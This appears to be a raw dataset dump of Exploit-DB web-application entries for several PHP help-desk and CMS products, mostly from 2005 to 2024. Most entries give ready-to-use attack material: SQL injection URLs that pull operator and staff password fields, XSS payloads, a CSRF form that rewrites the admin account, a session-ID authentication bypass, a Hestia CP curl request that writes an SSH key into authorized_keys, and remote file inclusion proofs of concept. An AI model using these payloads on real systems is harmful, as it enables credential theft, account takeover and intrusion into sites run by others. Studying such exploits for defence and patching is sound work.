deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25683
Description: HelpCenter Live! 1.0/1.2.x - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-24
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13666/info

Help Center Live is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Reportedly the application is affected by multiple HTML injection vulnerabilities. Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

The application is also affected by multiple SQL injection vulnerabilities. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

These issues have reportedly been addressed in the latest release of Help Center Live, this information has not been confirmed by Symantec or the vendor. 

http://www.example.com/support/faq/index.php?x=f&id=-99'%20UNION%20SELECT%200,
0,operator,password%20FROM%20hcl_operators%20WHERE%201/*

http://www.example.com/support/tt/view.php?tid=-99'%20UNION%20SELECT%200,0,0,
operator,password,0,0,0,0,0%20FROM%20hcl_operators%20WHERE%201/*

http://www.example.com/support/tt/download.php?fid=-99'%20UNION%20SELECT%200,0,0,
password,0,operator,0,0%20FROM%20hcl_operators%20WHERE%20id='1

http://www.example.com/support/lh/icon.php?status=-99' UNION SELECT
password,password FROM hcl_operators WHERE id=1/*

http://www.example.com/support/lh/chat_download.php?fid=-99' UNION
SELECT password,operator,password FROM hcl_operators WHERE id=1/*
Exploit-DB #26638
Description: Helpdesk Issue Manager 0.x - 'find.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15604/info
 
Helpdesk Issue Manager is prone to multiple SQL injection vulnerabilities.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Helpdesk Issue Manager 0.9 and prior versions are reportedly affected. 

http://www.example.com/find.php?act=action&reset=yes&detail%5B%5D=[SQL]
http://www.example.com/find.php?page=0&act=action&orderby=sortorder&orderdir=[SQL]
http://www.example.com/find.php?page=0&act=action&orderby=[SQL]
Exploit-DB #26637
Description: Helpdesk Issue Manager 0.x - 'issue.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15604/info

Helpdesk Issue Manager is prone to multiple SQL injection vulnerabilities.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Helpdesk Issue Manager 0.9 and prior versions are reportedly affected. 

http://www.example.com/issue.php?id=[SQL]
Exploit-DB #10788
Description: Helpdesk Pilot Knowledge Base 4.4.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-29
Author: kaMtiEz

Exploit:
#############################################################################
                                                                            #
[~] Helpdesk Pilot Knowledge Base SQL injection vulnerability - (article_id)#
[~] Author	: kaMtiEz (kamzcrew@gmail.com)                              #
[~] Homepage	: http://www.indonesiancoder.com                            #
[~] Date	: Desember 29, 2009                                         #
                                                                            #
#############################################################################

[ Software Information ]

[+] Vendor : http://www.helpdeskpilot.com/
[+] Download : -
[+] version : 4.4.0 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : "Think iT"
[+] Price : 1. Standard = $299.95
            2. Professional = $399.95
            3. Corporate = $499.95
[+] Location : INDONESIA - JOGJA

#############################################################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/knowledgebase.php?act=art&article_id=[INDONESIANCODER]

[ Exploit ]

-666+union+select+concat_ws(0x3a,staff_username,staff_password)+from+hdp_staff--

===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,cimpli
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,MarahMerah
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Nyak ama babe gua .. tak lupa adik gua ..
[+] mungkinkah semua yang dulu tlah datang menghilang ku terus bertanya engkau dimana 
[+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D

[ QUOTE ]

[+] HAPPY NEW YEAR ^_^
[+] Welcome 2010 .. lets r0x !
[+] Tukulesto : lets make it better ,, soon .. :P~~

[ EOF ]

[+] INDONESIANOCODER TEAM
[+] KILL -9 TEAM
Exploit-DB #52068
Description: Helpdeskz v2.0.2 - Stored XSS
Type: webapps
Platform: php
Date: 2024-08-23
Author: Md. Sadikul Islam

Exploit:
# Exploit Title: Stored XSS Vulnerability via File Name
# Google Dork: N/A
# Date: 08 Aug 2024
# Exploit Author: Md. Sadikul Islam
# Vendor Homepage: https://www.helpdeskz.com/
# Software Link:
https://github.com/helpdesk-z/helpdeskz-dev/archive/2.0.2.zip
# Version: v2.0.2
# Tested on: Kali Linux /  Firefox 115.1.0esr (64-bit)
# CVE : N/A

Payload: "><img src=x onerror=alert(1);>
Filename can be Payload: "><img src=x onerror=alert(1);>.jpg

VIdeo PoC:
https://drive.google.com/file/d/1_yh0UsX8h7YcSU1kFvg_bBwk9T7kx1K1/view?usp=drive_link

Steps to Reproduce:
    1. Log in as a regular user and create a new ticket.
    2. Fill out all the required fields with the necessary information.
    3. Attach an image file with a malicious payload embedded in the
filename.
    4. Submit the ticket.
    5. Access the ticket from the administration panel to trigger the
payload execution.

Cross-Site Scripting (XSS) exploits can compromise the administration
panel, directly affecting administrators by allowing malicious scripts to
execute within their privileged environment.
Exploit-DB #4448
Description: helplink 0.1.0 - 'show.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-23
Author: GoLd_M

Exploit:
##########################################################################
# Helplink 0.1.0 (show.php file) Remote File Inclusion Vulnerability     #
# D.S : http://sourceforge.net/projects/helplink/                        #
# V.C                                                                    #
================================show.php=================================#
01 : <?                                                                  #
02 : /**                                                                 #
03 :  *      show.php - just throw some headers and footers around a file#
04 :  */                                                                 #
05 :                                                                     #
06 : include ('include.php');                                            #
07 : public_header();                                                    #
08 : include($HTTP_GET_VARS["file"]); <--- xxxx// Error !!               #
09 : public_footer();                                                    #
10 :                                                                     #
11 : ?>                                                                  #
=========================================================================#
# POC : /show.php?file=Ev!L C0D3                                         #
##########################################################################

# milw0rm.com [2007-09-23]
Exploit-DB #38141
Description: Hero Framework - 'search?q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-24
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/57035/info

Hero is prone to multiple cross-site scripting vulnerabilities and a cross-site request-forgery vulnerability.

An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, disclose or modify sensitive information, or perform unauthorized actions. Other attacks are also possible.

Hero 3.76 is vulnerable; other versions may also be affected. 

http://www.example.com/hero_os/search?q=" onmouseover%3dalert(/XSS/) %3d"
Exploit-DB #38142
Description: Hero Framework - users/login 'Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-24
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/57035/info
 
Hero is prone to multiple cross-site scripting vulnerabilities and a cross-site request-forgery vulnerability.
 
An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, disclose or modify sensitive information, or perform unauthorized actions. Other attacks are also possible.
 
Hero 3.76 is vulnerable; other versions may also be affected. 

http://www.example.com/hero_os/users/login?errors=true&username=" onmouseover%3dalert(/XSS/) %3d"
Exploit-DB #26285
Description: Hesk 0.92/0.93 - Session ID Authentication Bypass
Type: webapps
Platform: php
Date: 2005-09-20
Author: Rajesh Sethumadhavan

Exploit:
source: https://www.securityfocus.com/bid/14879/info

Hesk is prone to an authentication bypass vulnerability.

Successful exploitation will grant an attacker administrative access to the application. This can lead to unauthorized access of sensitive data, modification of helpdesk data and program code, and other types of attacks. 

1. HTTP POST request with randomly chosen Session ID:
POST admin.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/hesk/admin.php
Cookie: PHPSESSID=12345 <!-- Random Session ID--!>
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
user=1&pass=sdfd&a=do_login");

2. GET request to administrative control panel:
GET admin_main.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=12345") <!-- Session ID --!>
Exploit-DB #36017
Description: HESK 2.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-03
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/49008/info

HESK is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

HESK 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/inc/header.inc.php?hesk_settings[tmp_title]=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;% 3C/script%3E
http://www.example.com/inc/header.inc.php?hesklang[ENCODING]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/inc/assignment_search.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E
http://www.example.com/inc/attachments.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/inc/common.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/inc/database.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/inc/prepare_ticket_search.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E
http://www.example.com/inc/print_tickets.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/inc/show_admin_nav.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3 E
http://www.example.com/inc/show_search_form.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script %3E
http://www.example.com/inc/ticket_list.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/language/en/text.php/%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #11127
Description: Hesk Help Desk 2.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-01-13
Author: The.Morpheus

Exploit:
#############################################################
# Application Name : Help Desk Php Script
# Date : 11.01.2010
# Vulnerable Type : XSRF
# Infection : Admin cookilerini De&#287;i&#351;tirilebilinir.
# author : The.Morpheus
#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >
<h3>The.Morpheus</h3>
<form method="post" action="http://www.hesk.com/demo/admin/manage_users.php?a=edit&id=1">
<input type="text" name="name" size="40" maxlength="50" value="John Doe" /></td>
<input type="text" name="email" size="40" maxlength="255" value="john@doe.com<mailto:john@doe.com>" /></td>
<input type="text" name="user" size="40" maxlength="20" value="Demo" /></td>
<input type="password" name="newpass" size="40" maxlength="20" /></td>
<input type="password" name="newpass2" size="40" maxlength="20" /></td>
<input type="radio" name="isadmin" value="1" onclick="Javascript:hesk_toggleLayerDisplay('options')" checked="checked" /> YES (access to all features and categories)</label><br />
<input type="radio" name="isadmin" value="0" onclick="Javascript:hesk_toggleLayerDisplay('options')" /> NO (you can limit features and categories)</label>
<input type="checkbox" name="categories[]" value="2" checked="checked" /> Support</label><br /><label><input type="checkbox" name="categories[]" value="3" /> Billing</label><br /><label><input type="checkbox" name="categories[]" value="4" /> Advertising</label><br /><label><input type="checkbox" name="categories[]" value="1" /> General</label><br />  
<input type="checkbox" name="features[]" value="can_view_tickets" checked="checked" />View tickets<sup>1</sup></label><br />
<input type="checkbox" name="features[]" value="can_edit_tickets" />Edit ticket replies<sup>1</sup></label><br />
<input type="checkbox" name="features[]" value="can_del_notes" />Delete any ticket notes<sup>1, 2</sup></label><br />
<input type="checkbox" name="features[]" value="can_change_cat" checked="checked" />Change ticket category<sup>1</sup></label><br />
<input type="checkbox" name="features[]" value="can_man_kb" />Manage knowledgebase</label><br />
<input type="checkbox" name="features[]" value="can_man_users" />Manage users</label><br />
<input type="checkbox" name="features[]" value="can_man_cat" />Manage categories</label><br />
<input type="checkbox" name="features[]" value="can_man_canned" />Manage canned responses</label><br />
<input type="checkbox" name="features[]" value="can_man_settings" />Manage help desk settings</label><br />
><input type="checkbox" name="features[]" value="can_add_archive" />Can add tickets to archive</label><br />
<input type="hidden" name="a" value="save" />
<input type="hidden" name="userid" value="1" />
<input type="submit" value="Save changes" class="orangebutton" onmouseover="hesk_btn(this,'orangebuttonover');" onmouseout="hesk_btn(this,'orangebutton');" /></p>
</form>

< -- bug code end of -- >
Exploit-DB #49667
Description: Hestia Control Panel 1.3.2 - Arbitrary File Write
Type: webapps
Platform: php
Date: 2021-03-18
Author: numan türle

Exploit:
# Title: Hestia Control Panel 1.3.2 - Arbitrary File Write
# Date: 07.03.2021
# Author: Numan Türle
# Vendor Homepage: https://hestiacp.com/
# Software Link: https://github.com/hestiacp/hestiacp
# Version: < 1.3.3
# Tested on: HestiaCP Version 1.3.2

curl --location --request POST 'https://TARGET:8083/api/index.php' \
--form 'hash="HERE_API_KEY"' \
--form 'returncode="yes"' \
--form 'cmd="v-make-tmp-file"' \
--form 'arg1="ssh-rsa HERE_KEY"' \
--form 'arg2="/home/admin/.ssh/authorized_keys"' \
--form 'arg3=""' \
--form 'arg4=""' \
--form 'arg5=""'
Exploit-DB #34072
Description: Hexjector 1.0.7.2 - 'hexjector.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-01
Author: hexon

Exploit:
source: https://www.securityfocus.com/bid/40509/info

Hexjector is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Hexjector 1.0.7.2 is vulnerable; other versions may be affected.

http://www.example.com/Hexjector/hexjector.php?site=<iframe src="http://localhost/hexjector/" height=0 width=0></iframe>&injsubmit=Submit+Query&custom_parameter=
Exploit-DB #51871
Description: Hide My WP < 6.2.9 - Unauthenticated SQLi
Type: webapps
Platform: php
Date: 2024-03-10
Author: Xenofon Vassilakopoulos

Exploit:
# Exploit Title: Wordpress Plugin Hide My WP < 6.2.9 - Unauthenticated SQLi 
# Publication Date: 2023-01-11
# Original Researcher: Xenofon Vassilakopoulos
# Exploit Author: Xenofon Vassilakopoulos
# Submitter: Xenofon Vassilakopoulos
# Vendor Homepage: https://wpwave.com/
# Version: Hide My WP v6.2.8 and prior
# Tested on: Hide My WP v6.2.7
# Impact: Database Access
# CVE: CVE-2022-4681
# CWE: CWE-89
# CVSS Score: 8.6 (high)

## Description

The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.


## Proof of Concept

curl -k --location --request GET "http://localhost:10008" --header "X-Forwarded-For: 127.0.0.1'+(select*from(select(sleep(20)))a)+'"
Exploit-DB #41044
Description: Hindu Matrimonial Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability:: Admin Login Bypass & SQLi + Add/Edit
# Date: 13.01.2017
# Vendor Homepage: http://www.phpmatrimonialscript.in/
# Script Name: Hindu Matrimonial Script
# Script Buy Now: http://www.phpmatrimonialscript.in/product/hindu-matrimonial-script/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
#
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
#
# Direct entrance Add/Edit...
# http://localhost/[PATH]/admin/usermanagement.php
# http://localhost/[PATH]/admin/countrymanagement.php
# http://localhost/[PATH]/admin/communitymanagement.php
# http://localhost/[PATH]/admin/renewaldue.php
# http://localhost/[PATH]/admin/generalsettings.php
# http://localhost/[PATH]/admin/cms.php
# http://localhost/[PATH]/admin/cms.php
# http://localhost/[PATH]/admin/newsletter1.php
# http://localhost/[PATH]/admin/payment.php
# http://localhost/[PATH]/admin/searchview.php
# http://localhost/[PATH]/admin/success_story.php
# http://localhost/[PATH]/admin/featured.php
# http://localhost/[PATH]/admin/photo.php
# http://localhost/[PATH]/admin/googleads.php
# http://localhost/[PATH]/admin/reports.php
# # # # #
Exploit-DB #5981
Description: HIOX Banner Rotator 1.3 - 'hm' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-30
Author: Ghost Hacker

Exploit:
################################################################################
 HBR 1.3 (hm) Remote File Inclusion Vulnerability
################################################################################
[~] Found : Ghost Hacker [ R-H TeaM ]           |,  .-.  .-.  ,|
[~] HOME  : www.Real-Hack.net                   | )(_o/  \o_)( | 
[~] Email : Ghost-r00t@Hotmail.com              |/     /\     \|
[~] Script : HBR 1.3
[~] Download Script : http://www.hscripts.com/scripts/php/downloads/HBR_1_3.zip
################## [ I love the Messenger of Allah Mohammad ] ##################
[~] Error ( hioxBannerRotate.php ) :
include "$hm/admin/props.php";

[~] Exploit :
http://xxxx/[Path]/hioxBannerRotate.php?hm=[Evil]
################## [ I love the Messenger of Allah Mohammad ] ##################
[~] Gootz :
PROTO & Night Mare & Mr.PaTcH & Aseg-Rabe7 & x.CJP.x & Dmar al3noOoz & 4Bo3tB ..
Mr.JUVE & Mr.hope & LeGeNd HaCkEr & My Blog [ gh0st10.wordpress.com ] ..
All Member Real Hack & All My Friends And All Muslims Hackers ..
################################################################################
 Real Hack Team ( R-H ) ..
################################################################################

# milw0rm.com [2008-06-30]